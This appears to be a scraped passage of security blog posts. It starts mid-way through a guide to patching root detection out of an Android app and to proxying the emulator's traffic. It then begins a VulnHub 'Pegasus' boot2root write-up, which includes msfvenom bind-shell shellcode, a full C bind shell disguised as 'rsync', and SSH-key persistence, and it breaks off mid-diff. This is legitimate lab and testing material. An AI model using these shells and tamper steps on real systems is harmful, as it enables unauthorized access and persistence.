method that is being used to return the Jailbreak status. This method was right at the end and was called isRooted. You will see in the next few paragraphs how trivial it is to bypass this.\ndecompiling the classes.dex With some knowledge about the code, and knowing what I am after (the RootDetection class, isRooted method), it was time to move on to decompiling the dex to smali. This can be done easily using smali/baksmali which is an assembler/disassembler for Android\u0026rsquo;s dex format. I downloaded the latest versions of smali and baksmali and prepared to disassemble the classes.dex file that we used earlier to get some Java sources out of.\nUsing the baksmali tool, I pushed classes.dex through it to a output directory of out with java -jar baksmali-2.0.5.jar classes.dex -o out. This produced the disassembled version of the classes.dex and allowed me to read through it. I don’t really get a lot of this smali, but it is not that hard to find what you may be looking for. A simple grep may reveal all the answers:\nleonjza@Laptop » grep -Ri isRooted out/ Binary file out//classes.dex matches out//com/MyApplication/utils/RootDetection.smali:.method public isRooted(Landroid/content/pm/PackageManager;)Z Yay. the isRooted method is easily identifiable. Opening the file containing the the isRooted method reveals the smali too:\n.method public isRooted(Landroid/content/pm/PackageManager;)Z .registers 3 .param p1, \u0026#34;pm\u0026#34; # Landroid/content/pm/PackageManager; .prologue .line 74 invoke-direct {p0}, Lcom/MyApplication/utils/RootDetection;-\u0026gt;isTestKeyBuild()Z [... snip ...] .line 76 :goto_19 return v0 :cond_1a const/4 v0, 0x0 goto :goto_19 .end method Awesome.\npreparing the patch As we can see, isRooted has quite a bit of logic in it. Referring back to the jar file I created with dex2jar, we can deduce that we want isRooted to return false. Makes sense right? Now, I don’t write smali out of my head, but that did not stop me. How can I see what smali code would look like to just return false? Well, I could just write my own .java code, compile it, and check what the output is like once its disassembled right? Yep!\nSo I created RootDetection.java:\npublic class RootDetection { public boolean isRooted() { return false; } } As you can see, isRooted will now just return false as I\u0026rsquo;d like it to! I had to hack away a bit at it to get the compilation to pass without errors, and this is probably the step that will usually require a bit of intuition. An important thing to note here is that I had to remove the argument from the original isRooted call. I had to keep this in mind when I was going to patch the original method. Anyways, I compiled the file RootDetection.java using the javac command line:\nleonjza@Laptop » javac -source 1.6 -target 1.6 RootDetection.java warning: [options] bootstrap class path not set in conjunction with -source 1.6 1 warning ------------------------------------------------------------ leonjza@Laptop » file RootDetection.class RootDetection.class: compiled Java class data, version 50.0 (Java 1.6) You will notice I specified the -source and -target flags for javac. If I did not do this, baksmali would have not been able to decompile the java class :(\nWith my compiled method ready, it was time to see what this looks like in smali. There was just one more thing stopping me from seeing that though. The compiled java is not in the dex format that Andriod uses. Luckily there is a tool to convert this that comes with the Android sdk and lives in ~/Library/Android/sdk/build-tools/21.1.1/dx. I converted the class to dex format using the command ~/Library/Android/sdk/build-tools/21.1.1/dx --dex --output=RootDetection.dex RootDetection.class. This produced a new file called RootDetection.dex which is recognizable by baksmali. I then proceeded to decompile the generated .dex with baksmali and set the output to RootDetection/ with java -jar baksmali-2.0.5.jar RootDetection.dex -o RootDetection/. Inspecting the generated smali code, I now had a sample of what it would look like if it should simply return false:\n# virtual methods .method public isRooted()Z .registers 2 .prologue .line 4 const/4 v0, 0x0 return v0 .end method The plan now was to simply replace the originally generated smali from the apk\u0026rsquo;s classes.dex and re-assemble it using smali. I opened up the original isRooted code and replaced it with the sample that I had generated myself. Remembering the argument I had to remove from my compiled version, I figured that because the original method defined .registers 3, and mine defined .registers 2, I had to up it to 3 to keep the method argument in mind. This was the last modification that I did.\nWith the RootDetection class now patched, I re-assembled the classes.dex file from the generated smali code with java -jar smali-2.0.5.jar -o classes.dex out. The Reassembly generated no errors so I assumed it was successful.\nrepackaging and signing the apk With the patch applied and the new classes.dex generated, it was time to repackage the apk. The first step was to add the new classes.dex to the apk:\nleonjza@Laptop » zip MyApplication.apk classes.dex updating: classes.dex (deflated 56%) Next, the package has to be resigned as the classes.dex will no longer have the same hashes in META-INF/MANIFEST.MF as it originally had. Attempts to install the repackeged apk without resigning it may result in a error such as Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION]. I used a tool called \u0026lsquo;sign\u0026rsquo; found here to get hold of sign.jar. This would sign my apk using the test keys. I downloaded it using wget https://github.com/appium/sign/raw/master/dist/sign.jar, and ran it to sign my patched apk with java -jar sign.jar MyApplication_no_root.apk. This produced a file called MyApplication_no_root.s.apk.\nExcellent. The only thing left for me to do was to install the application using adb and see if my patch worked, which it did! :D The usual error message about the jailbreak no longer displayed and I could continue with the rest of my testing.\nnotes about traffic interception I have covered what I originally intended with the jailbreak detection patching, but want to add a few notes about traffic interception using the Emulator.\nI used Burp Suite to intercept traffic and had it running locally, with a proxy open on tcp/8080. To redirect the emulators traffic though, I had to add a startup option to the emulator as follows:\n~/Library/Android/sdk/tools/emulator -avd test -http-proxy localhost:8080 This proved affective and I was able to see http traffic just fine. However, when it came to https traffic, I wanted to take a spoon and remove my eye. Requests would just \u0026lsquo;hang\u0026rsquo;, the browser would freak out, the application I was testing would just stall, it was just a mess. Some research into the topic revealed I was not the only one planning some personal surgery and a few bright people have come up with some solutions.\nThe first pain I had was even though I installed the PortSwagger CA onto the device (via ~/Library/Android/sdk/platform-tools/adb push ~/Downloads/BurpCa.cer /storage/sdcard and then the devices Settings -\u0026gt; Security -\u0026gt; Install form SD Card), the certificate validation would still just fail due to date errors. So, I moved the devices date on by 3 days, and viola! Grr.\nThe next pain was the fact that the Emulator (or Android OS?) would not attempt to make a request to hostnames, but to the IP\u0026rsquo;s directly, making it very hard to trace in Burp. Luckily though, I found a script (and lost the original source, but I take no credit for this), that will help with the rewrites to hostnames and pass them to Burp as expected. This was mostly a problem in the application itself and not so much the web browser. The script to help with this was:\n# TODO\u0026#39;s: # - Script currently doesn\u0026#39;t treat TCP connections a streamed data. Normally we should buffer input # untill enough data has been received and then do our checks. However since the connections are # local all data is received at once (most of the time) so this code does work :) import twisted from twisted.names import server, dns, client from twisted.internet import reactor, defer from twisted.internet.endpoints import TCP4ServerEndpoint from twisted.protocols import portforward import re from socket import * import struct # symbolic definition of getsockopt parameter SO_ORIGINAL_DST = 80 # Mapping of domain name to given unique IP mappings = dict() # Mapping of given unique IP to domain name reversemappings = dict() # --------------------------------------- DNS SERVER --------------------------------------- # Custom DNS server which assigns a unique IP address to every domain, even if # in reality two domains share the same IP. class ProxyResolver(client.Resolver): # Start with IP 1.1.1.1 def __init__(self, servers): client.Resolver.__init__(self, servers=servers) self.ttl = 10 self.ip = [1, 1, 1, 1] # Helper function: Move to next IP and return it as a string def nextIp(self): self.ip[3] += 1 for i in range(3,1,-1): if (self.ip[i] == 255): self.ip[i] = 1 self.ip[i-1] += 1 return str(self.ip[0]) + \u0026#34;.\u0026#34; + str(self.ip[1]) + \u0026#34;.\u0026#34; +str(self.ip[2]) + \u0026#34;.\u0026#34; +str(self.ip[3]) def lookupAddress(self, name, timeout = None): # If it\u0026#39;s the first time a DNS lookup is done for this domain, assign it # a unique IP and update the mappings if (not mappings.has_key(name)): ip = self.nextIp() mappings[name] = ip reversemappings[str(self.ip[0]) + \u0026#34;.\u0026#34; + str(self.ip[1]) + \u0026#34;.\u0026#34; +str(self.ip[2]) + \u0026#34;.\u0026#34; +str(self.ip[3])] = name # Get the mapped IP! ip = mappings[name] print \u0026#34;DNS:\u0026#34;, name, \u0026#34;-\u0026gt;\u0026#34;, ip # From the manual: \u0026#34;Defer is useful when you\u0026#39;re writing synchronous code to an asynchronous # interface: i.e., some code is calling you expecting a Deferred result, but you don\u0026#39;t actually # need to do anything asynchronous. Just return defer.succeed(theResult).\u0026#34; return defer.succeed([(dns.RRHeader(name, dns.A, dns.IN, self.ttl, dns.Record_A(ip, self.ttl)),), (), ()]) # --------------------------------------- HTTP PROXY --------------------------------------- # Communication between your actual proxy (Burp, WebScarab, ..) and our script. class ProxyClient(portforward.ProxyClient): def __init__(self): self.gotestablished = False self.requestdata = None def setRequestData(self, data): self.requestdata = data def dataReceived(self, data): # TODO: How does this work when proxying a real device?! Connect shouldn\u0026#39;t be sent then?! if self.gotestablished or self.requestdata == None: # If the connection has been established just forward the data to the emulator # TODO: Check this portforward.ProxyClient.dataReceived(self, data) else: # TODO: Check this if not \u0026#34;HTTP/1.0 200 Connection established\\r\\n\\r\\n\u0026#34; in data: print \u0026#34;Warning: Unexpected proxy reply:\u0026#34;, repr(data[:30]) else: print \u0026#34;Proxy CONNECT reply: \u0026gt;\u0026#34;, repr(data[:30]) self.gotestablished = True # Forward data to Android self.transport.write(self.requestdata) # TODO: Check this class ProxyClientFactory(portforward.ProxyClientFactory): protocol = ProxyClient # Custom HTTP proxy. Intercepts the CONNECT \u0026lt;ip\u0026gt; command, looks up the corresponding domain name, and # forwards the correct CONNECT \u0026lt;domain\u0026gt; command to your actual proxy. class ProxyServer(portforward.ProxyServer): clientProtocolFactory = ProxyClientFactory def __init__(self): self.receivedfirst = False self.connectre = re.compile(r\u0026#39;CONNECT (\\d+\\.\\d+\\.\\d+\\.\\d+):\\d+ HTTP\u0026#39;) self.otherre = re.compile(r\u0026#39;\\w+ http://(\\d+\\.\\d+\\.\\d+\\.\\d+)\u0026#39;) self.firstdata = None def dataReceived(self, data): # The first time we recieve data we must check for invisible proxiying and rewrite # the CONNECT/GET requests to use the actual domain name. if not self.receivedfirst: print \u0026#34;INCOMING TCP CONN: \u0026gt;\u0026#34;, repr(data.split(\u0026#34;\\r\u0026#34;)[0][:40]) # Of course invisible proxying is unnecessairy if the CONNECT command is actually used! # ------------------------- Invisible Proxying Support --------------------------- # TODO: This is UNTESTED and EXPERIMENTAL code \u0026#34;\u0026#34;\u0026#34; # TODO: Get ourselves an Android VMWare image and test this :) # Only do invisible proxifying if there is no CONNECT command # TODO: We should actually check if it *START* with CONNECT if not \u0026#34;CONNECT\u0026#34; in data: # We support invisible proxying for real Android devicec, where the computer is configured # as the router, and all HTTP(S) traffic is redirected to our tool. In this scenario we # don\u0026#39;t receive a CONNECT request. Instead we get the original destination IP address and # manually construct the CONNECT request. # TODO: Test this on other operating systems than Linux try: # Ask the OS the original destination of the connection dst = socket.getsockopt(self.transport.socket, SOL_IP, SO_ORIGINAL_DST, 16) # Exclamation mark tells unpack that dst is big-endian # 2x : two pad bytes # H : unsigned short (port) # 4s : char string of 4 bytes (ip) # 8x : eight pad bytes srv_port, srv_ip = struct.unpack(\u0026#34;!2xH4s8x\u0026#34;, dst) if srv_port == 443: self.peer.setRequestData(data) data = \u0026#34;CONNECT \u0026#34; + inet_ntoa(srv_ip) + \u0026#34;:\u0026#34; + str(srv_port) + \u0026#34; HTTP/1.1\\r\\n\\r\\n\u0026#34; print \u0026#34;PROXIFYING HTTPS: \u0026#34; + repr(data.strip()) # NOTE: If you uncomment this elif block, your proxy must support invisible proxying elif srv_port == 80: # Rewrite to absolute GET request if info available if reversemappings.has_key(inet_ntoa(srv_ip)): data = re.sub(r\u0026#39;^GET \u0026#39;, \u0026#34;GET http://\u0026#34; + reversemappings[inet_ntoa(srv_ip)] + \u0026#34;:\u0026#34; + str(srv_port), data) else: print \u0026#34;Warning: got redirected HTTP request but unable to find destination hostname:port\u0026#34; except Exception, e: print \u0026#34;Something went wrong with invisible proxying:\u0026#34;, e.getMessage() \u0026#34;\u0026#34;\u0026#34; # ------------------- Rewrite CONNECT/GET/POST with domain name --------------------- resultconnect = self.connectre.match(data) resultother = self.otherre.match(data) # TODO: We shouldn\u0026#39;t use a normal replace after using regular expressions.. # Replace IP in CONNECT if (resultconnect != None and reversemappings.has_key(resultconnect.group(1))): data = data.replace(resultconnect.group(1), reversemappings[resultconnect.group(1)]) print \u0026#34;REWRITING CONNECT:\u0026#34;, resultconnect.group(1), \u0026#34;-\u0026gt;\u0026#34;, reversemappings[resultconnect.group(1)] # Replace IP in GET, POST, HEAD, etc elif (resultother != None and reversemappings.has_key(resultother.group(1))): data = data.replace(resultother.group(1), reversemappings[resultother.group(1)]) print \u0026#34;REWRITING HTTP METHOD:\u0026#34;, resultother.group(1), \u0026#34;-\u0026gt;\u0026#34;, reversemappings[resultother.group(1)] self.firstdata = data self.receivedfirst = True print \u0026#34;OUTGOING TCP: \u0026gt;\u0026#34;, repr(data.split(\u0026#34;\\r\u0026#34;)[0][:40]) # forward data portforward.ProxyServer.dataReceived(self, data) class ProxyFactory(portforward.ProxyFactory): protocol = ProxyServer def doStart(self): print \u0026#34;\\t==== Android Proxy Up and Running ====\\n\u0026#34; def main(): print \u0026#34;AndroidProxy --- (C) Mathy Vanhoef\u0026#34; print \u0026#34;This program comes with ABSOLUTELY NO WARRANTY.\u0026#34; print print \u0026#34;DNS server will listen on localhost:53\u0026#34; print \u0026#34;HTTP Proxy will listen on localhost:8007\u0026#34; print #print \u0026#34;Physical device: Configure your computer dns server and as router (NOT as proxy) and execute\u0026#34; #print \u0026#34;\\tiptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8007\u0026#34; #print \u0026#34;\\tiptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8007\u0026#34; #print print \u0026#34;Emulator: start it using: emulator @AvdName -http-proxy http://localhost:8007 -dns-server localhost\u0026#34; print print \u0026#34;Don\u0026#39;t forget to start your normal proxy on localhost:8080\u0026#34; print # Setup custom DNS server resolvers = [] #resolvers.append(ProxyResolver([(\u0026#39;8.8.8.8\u0026#39;, 53)])) resolvers.append(ProxyResolver([(\u0026#39;10.0.141.20\u0026#39;, 53)])) f = server.DNSServerFactory(clients=resolvers) p = dns.DNSDatagramProtocol(f) reactor.listenUDP(53, p) # Setup TCP proxy server endpoint = TCP4ServerEndpoint(reactor, 8007) endpoint.listen(ProxyFactory(\u0026#39;localhost\u0026#39;, 8080)) # Start DNS and TCP server reactor.run(); if __name__ == \u0026#34;__main__\u0026#34;: main() Run this with sudo python AndroidProxy.py (assuming you saved it as that), and change your Emulators launch options to ~/Library/Android/sdk/tools/emulator -avd test -http-proxy localhost:8007 -dns-server localhost -debug-proxy. Running it with sudo is needed as the script starts a DNS server locally. The -debug-proxy option is optional, but is useful for further debugging of the traffic.\nAs a final note on the proxy script. At some stage it looked as though names were not being resolved correctly as I was seeing output as DNS: clients3.google.com -\u0026gt; 1.1.1.4. This is just the internal storage key and not the IP it resolved :D\nsummary Like I previously mentioned, with limited knowledge about smali and all that jazz, I was able to patch the application to not do the jailbreak detection it is intended to do. Removing jailbreak detection may not be such a big deal, but what else can you change, and how do you protect against that?\n","permalink":"https://leonjza.github.io/blog/2015/02/09/no-more-jailbreak-detection-an-adventure-into-android-app-reversing-and-smali-patching/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003eI will start by saying that I am by \u003cem\u003eno means\u003c/em\u003e a expert in anything you are about to read. I am also not 100% sure about the correct terminology for this type of patching. Maybe it should have been called binary patching? I don\u0026rsquo;t know, but I do know that I was quite literally shocked by the ease of getting this job done, and figured its time to make some notes for me to reflect on later again.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/android_jailbreak_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eRecently I had the opportunity to poke at an Android \u003ccode\u003e.apk\u003c/code\u003e. My task was a little different from what I am about to blog about, but the fundamental idea remained the same. I wanted to inspect some traffic of an application, but the application had jailbreak detection built in and refused to run if the device its running on is detected as jailbroken. This had to be bypassed first. To play with the \u003ccode\u003eapk\u003c/code\u003e, I needed to get some tools setup and learn a few things about the Android environment \u003cem\u003ereally\u003c/em\u003e fast. There are tons of resources available online to describe to you the general idea behind Android, as well as how its all stitched together. You will quickly come to realize that apps can be written in Java. For the purpose of this post, the focus is to bypass the jailbreak detection the \u003ccode\u003eapk\u003c/code\u003e had and let it continue normal operations.\u003c/p\u003e","title":"no more jailbreak detection an adventure into Android app reversing and smali patching"},{"content":"introduction Pegasus 1 is a boot2root hosted on VulnHub built by @TheKnapsy. He wrote a blogpost about it too containing a small introduction with Pegasus as his first boot2root (hoof2root? ;p).\n  Having recently played in the Offsec Playground a little after having completed my OSCP, I was relatively exhausted. Pegasus had its fair share of frustrations and had me digging around quite a bit. I did however learn a very valuable lesson\u0026hellip; again. You will see this in the my_first section.\nLike many other write ups I do, I will also recommend you try this one first before you read on. For me, Pegasus was definitely slightly more difficult than the usual VulnHub stuff you would see, but part of that may just as well be due to fatigue and that year end holiday mode ;p. However, that should not discourage you to give it a bash anyways!\nLets begin.\nnmap, again Starting a VM like this, you should almost have a knee-jerk reaction to reach for nmap as your first tool to use. A VM, hosted on the network, means you will probably be attacking this one\u0026hellip; via the network. So after figuring out what the IP address is (via arp, netdiscover etc.), I threw nmap at it:\nroot@kali:~# nmap --reason -sV 192.168.56.101 -p- Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-23 09:16 SAST Nmap scan report for 192.168.56.101 Host is up, received arp-response (0.00022s latency). Not shown: 65531 closed ports Reason: 65531 resets PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) 8088/tcp open http syn-ack nginx 1.1.19 55625/tcp open status syn-ack 1 (RPC #100024) MAC Address: 08:00:27:88:F8:40 (Cadmus Computer Systems) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.37 seconds tcp/22, tcp/111, tcp/8088 and tcp/55625. Thats quite a bit to work with already. I decided to dive right into the web server that appears to be running on tcp/8088.\nstomping some hoofs with pegasus Browsing to http://192.168.56.101:8088/, we are presented with a picture of Pegasus:\n  I manually tried to browse to things like robots.txt etc, but everything responded with the same image. This was until I decided to browse to index.php, in an attempt to check that the web server is configured to serve PHP content:\n  So this doesn’t exactly tell us PHP is supported yet, but it does get us somewhere if we wanted to brute force the web server in search of content. Inspecting the headers of the HTTP responses thus far, we would see that everything would return HTTP 200, however, .php scripts would 404 correctly. With that in mind, it was time to reach for wfuzz to discover some more.\nroot@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 404 http://192.168.56.101:8088/FUZZ.php ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.101:8088/FUZZ.php Payload type: file,/usr/share/wordlists/wfuzz/general/medium.txt Total requests: 1660 ================================================================== ID Response Lines Word Chars Request ================================================================== 01426: C=200 0 L 4 W 19 Ch \u0026#34; - submit\u0026#34; And we have a HTTP 200 response for submit.php. So, I browsed to http://192.168.56.101:8088/submit.php:\n  Well that isn\u0026rsquo;t exactly useful. I played a little with the submit.php by sending a POST with some --data, but nothing useful came of it. Almost everything came back with No data to process.\nAdmittedly, this was my first hurdle. I was thinking if there is a submit.php, surely there is something that actually submits the appropriate data to it? So I pulled out some more wordlists and fed them to wfuzz to work on. I\u0026rsquo;ll be honest, I did not like this part much. The wordlists were just too big and it almost felt like this is probably not the way to go about this. wfuzz was working with /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt, when finally I get a HTTP 200 for codereview.php.\n  pwning mike So mike is apparently a trainee code reviewer. We have a form where we can submit code for him to check out. This is the form that submits the POST data code to the previously found submit.php.\nOk. Well this is a interesting one. My initial thoughts were that if Mike was checking out code, he is possibly executing it? There was however no hint on what language he is expecting, so the wild goose chase began.\nPHP, Python, Perl, Ruby, Bash. Name them. I tried them all. Ok maybe not all, especially not brainfk. :D However, in all of them, I tried to get the language to execute /bin/nc 192.168.56.102 4444 -e /bin/sh or variants thereof so that it would connect to my netcat listener on my Kali machine, and spawn me a shell.\nEventually, I came to try some C. Admittedly, I was starting to rethink my strategy by now. That was until my C source had a call to system() in it:\n  Ooooooh. Ok so that was a very obvious hint that I was getting closer. For me, this boiled down to it either accepting PHP due to system, or C due to its system. Obviously though, system() is being filtered out, so I would need an alternative.\ninsert fade to black\nCAPTION: many hours later\nAfter exhausting my PHP attempts, it was time to move to C. My first attempt was was something along the lines of\n#include\u0026lt;stdio.h\u0026gt; // msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c unsigned char buf[] = \u0026#34;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\u0026#34; \u0026#34;\\x5b\\x5e\\x52\\x68\\x02\\x00\\x11\\x5c\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\u0026#34; \u0026#34;\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\u0026#34; \u0026#34;\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\u0026#34; \u0026#34;\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\u0026#34; \u0026#34;\\x0b\\xcd\\x80\u0026#34;; int main() { int (*ret)() = (int(*)())buf; ret(); } This was supposed to open me a tcp/4444 shell, but to no avail. Infact, no shellcode related execution appeared to do anything. As a last resort before I figured I\u0026rsquo;d need to get me some hints, I searched for some non-shellcode type bind shell generation C source. Unfortunately, I don’t write C socket software out of my head, but luckily Google came to the rescue and landed me on this. I modified the code slightly by hardcoding my desired port and shell, and submitted it to be \u0026lsquo;reviewed\u0026rsquo;:\n// Source: http://webcache.googleusercontent.com/search?q=cache:52EC4LfMJX4J:bigpointyteeth.se/code/bindshell.c+\u0026amp;cd=11\u0026amp;hl=en\u0026amp;ct=clnk\u0026amp;gl=za // http://bigpointyteeth.se/code/bindshell.c #include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;sys/socket.h\u0026gt;#include \u0026lt;arpa/inet.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;stdio.h\u0026gt; #define SHELL \u0026#34;/bin/sh\u0026#34; // shell to execute #define NAME \u0026#34;rsync\u0026#34; // name of the forked bindshell shown in ps  int main(int argc, char *argv[]) { char msg[16]; int srv_sockfd, new_sockfd; socklen_t new_addrlen; struct sockaddr_in srv_addr, new_addr; // fork into background  if (fork() == 0) { if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) \u0026lt; 0) { return -1; } srv_addr.sin_family = PF_INET; srv_addr.sin_port = htons(atoi(\u0026#34;4444\u0026#34;)); srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(srv_sockfd, (struct sockaddr *)\u0026amp;srv_addr, sizeof(srv_addr)) \u0026lt; 0) { return -1; } if (listen(srv_sockfd, 1) \u0026lt; 0) { return -1; } // accept loop  for (;;) { new_addrlen = sizeof(new_addr); new_sockfd = accept(srv_sockfd, (struct sockaddr *)\u0026amp;new_addr, \u0026amp;new_addrlen); if (new_sockfd \u0026lt; 0) { return -1; } // fork to handle new connection  if (fork() == 0) { // close old listener  close(srv_sockfd); // print the parent pid which should be killed in order  // to remove the persistant bindshell listener  sprintf(msg, \u0026#34;ppid=%d\\n\u0026#34;, getppid()); write(new_sockfd, msg, strlen(msg)); dup2(new_sockfd, 2); dup2(new_sockfd, 1); dup2(new_sockfd, 0); execl(SHELL, NAME, NULL); return 0; } else close(new_sockfd); } // end accept loop  } // end fork into background  return 0; } All of my attempts were followed by a nmap on tcp/4444 to see if the shell has become available. After submitting the above code, we got a new port open (this Mike guy is pretty fast you should hire him!):\nroot@kali:~# nmap 192.168.56.101 -p 4444 Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-23 11:33 SAST Nmap scan report for 192.168.56.101 Host is up (0.00034s latency). PORT STATE SERVICE 4444/tcp open krb524 MAC Address: 08:00:27:88:F8:40 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds Awesome, so lets connect and see what we have:\nroot@kali:~# nc -v 192.168.56.101 4444 192.168.56.101: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.56.101] 4444 (?) open ppid=10450 id uid=1001(mike) gid=1001(mike) groups=1001(mike) As was hoped for, a shell as mike. I quickly generated a new ssh key pair for Pegasus, and cat the public key to mike\u0026rsquo;s authorized_keys file and went on to SSH in as mike:\n# first I cat the public key so that I can copy it root@kali:~# cat pegasus.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNmUef7CT1sDk5YxLor/LVA9FHii/Aagxl86CtRNj24t+TA23K3/KwlfCabCRNwNBXbTWkUmYdNMAEvsv5nbPHhgqZRlmEBzltcmltatmfbhrGmND7cBQGOxZPlcsks0FThEJhNL5z5WS3PpyzA5GUKyn4cPFbXe88uz1SpeXaIC+8kJ5T+jOKu40nLF0iglBtiADQ1rOLMh2pFEZjQhVyE4ieqK7hyBrLlVyQY1bOUGdrguWcEJZUvWDRsa0VCOIXOdNeg3AsXPG/1KbIzubOfjieaTgs9Mhqg7C9vdL21dia48B5NRKl7GoS6xJx09tmXVvYMAt+Sut6OwBUTV+R root@kali # next I connect to the bind shell listener and move to Mikes .shh directory root@kali:~# nc -v 192.168.56.101 4444 192.168.56.101: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.56.101] 4444 (?) open ppid=10450 cd .ssh # next we append my public key to mikes authorized_keys echo \u0026#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNmUef7CT1sDk5YxLor/LVA9FHii/Aagxl86CtRNj24t+TA23K3/KwlfCabCRNwNBXbTWkUmYdNMAEvsv5nbPHhgqZRlmEBzltcmltatmfbhrGmND7cBQGOxZPlcsks0FThEJhNL5z5WS3PpyzA5GUKyn4cPFbXe88uz1SpeXaIC+8kJ5T+jOKu40nLF0iglBtiADQ1rOLMh2pFEZjQhVyE4ieqK7hyBrLlVyQY1bOUGdrguWcEJZUvWDRsa0VCOIXOdNeg3AsXPG/1KbIzubOfjieaTgs9Mhqg7C9vdL21dia48B5NRKl7GoS6xJx09tmXVvYMAt+Sut6OwBUTV+R\u0026#34; \u0026gt;\u0026gt; authorized_keys ls -lh total 12K -rw-rw-r-- 1 mike mike 381 Dec 23 20:36 authorized_keys -rw------- 1 mike mike 1.7K Nov 18 12:39 id_rsa -rw-r--r-- 1 mike mike 222 Nov 18 17:39 known_hosts chmod 600 authorized_keys ^C # with the authorized_keys ready, I SSH in as mike using my key pair root@kali:~# ssh mike@192.168.56.101 -i pegasus Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Tue Dec 23 20:36:47 AEDT 2014 System load: 0.0 Processes: 93 Usage of /: 6.8% of 18.32GB Users logged in: 0 Memory usage: 12% IP address for eth0: 192.168.56.101 Swap usage: 0% =\u0026gt; There are 2 zombie processes. Graph this data and manage this system at: https://landscape.canonical.com/ Your Hardware Enablement Stack (HWE) is supported until April 2017. You have mail. Last login: Tue Dec 16 19:27:53 2014 from 172.16.246.129 mike@pegasus:~$ my_first, your_first, we_all_first With my initial shell I was able to start enumerating Pegasus a little more. The most obvious next step was the SUID binary in mike\u0026rsquo;s home (we will get to it shortly):\nmike@pegasus:~$ ls -lh total 16K -rwxr-xr-x 1 mike mike 845 Nov 18 20:52 check_code.sh drwx------ 2 mike mike 4.0K Nov 18 17:49 Mail -rwsr-xr-x 1 john john 6.5K Nov 28 10:26 my_first More enumeration revealed that /opt/ had a number of interesting parts to it as well:\nmike@pegasus:~$ ls -lh /opt/ total 12K drwxrwxrwx 2 root root 4.0K Dec 23 20:33 code_review drwxr-xr-x 3 root root 4.0K Nov 25 04:38 git drwxr-xr-x 2 root root 4.0K Nov 18 14:43 nfs Piecing the web interface together, you will see that the submitted source is put into code.c in /opt/code_review/, and then compiled from the script in /home/mike/check_code.sh and eventually executed.\nThe /opt/git/ folder had what looked like remnants of the typical .git/ folders when you checkout code from a repo, but not the actual files itself. I poked around a bit, and was able to re-assemble the main.c file from the git history.\nrebuilding main.c This step is not essential in progressing with Pegasus, but I figured it would be an interesting approach nonetheless\nEven though the git folder did not appear to have any actual source files, one could quickly learn what it contains. For example, the git log will show you the commit history:\nmike@pegasus:/opt/git/my_first.git$ git log commit 85365946a8142c52ee6040a029dd069b514c2ab0 Author: Mike Ross \u0026lt;mike@pegasus.(none)\u0026gt; Date: Tue Nov 25 04:48:01 2014 +1100 Committing some security fixes commit 0a8af1ed956518ec078b152ad7571105e2df26c6 Author: John Wall \u0026lt;john@pegasus.(none)\u0026gt; Date: Tue Nov 25 04:39:42 2014 +1100 initial commit From the log we can see that there as an initial commit, and one more after that with some security fixes. Chances are, if we can see what the initial commit was then we can see the full initial code. So, lets check out the details of commit 0a8af1ed:\nmike@pegasus:/opt/git/my_first.git$ git show 0a8af1ed commit 0a8af1ed956518ec078b152ad7571105e2df26c6 Author: John Wall \u0026lt;john@pegasus.(none)\u0026gt; Date: Tue Nov 25 04:39:42 2014 +1100 initial commit diff --git a/main.c b/main.c new file mode 100644 index 0000000..39c0182 --- /dev/null +++ b/main.c @@ -0,0 +1,133 @@ +#include \u0026lt;stdio.h\u0026gt; +#include \u0026lt;stdlib.h\u0026gt; + +int calculator(); +int string_replay(); +int string_reverse(); +int quit(); + +int main() +{ + char selection[5]; + int sel; + char * err_check;  [... snip ...] Nice! We have a file main.c that was added. I copied the diff and saved it to init.patch, and then ran the patch:\nroot@kali:~# patch -p1 \u0026lt; init.diff patching file main.c That gives us the state of files after commit 0a8af1ed which was labeled as the initial commit. The same process was followed for the next commit 85365946a8 which apparently included some security fixes. Copy the diff, make the .patch file and apply it. After this process, we have the sources up to where the git commit history has it.\nI inspected that code before and after the security fixes commit, and noticed that the security fixes fixed a potential format string vulnerability. At least, that was the one my untrained eye was able to spot:\ndiff --git a/main.c b/main.c index 39c0182..b6b2ed4 100644 --- a/main.c +++ b/main.c @@ -8,7 +8,7 @@ int quit();  [... 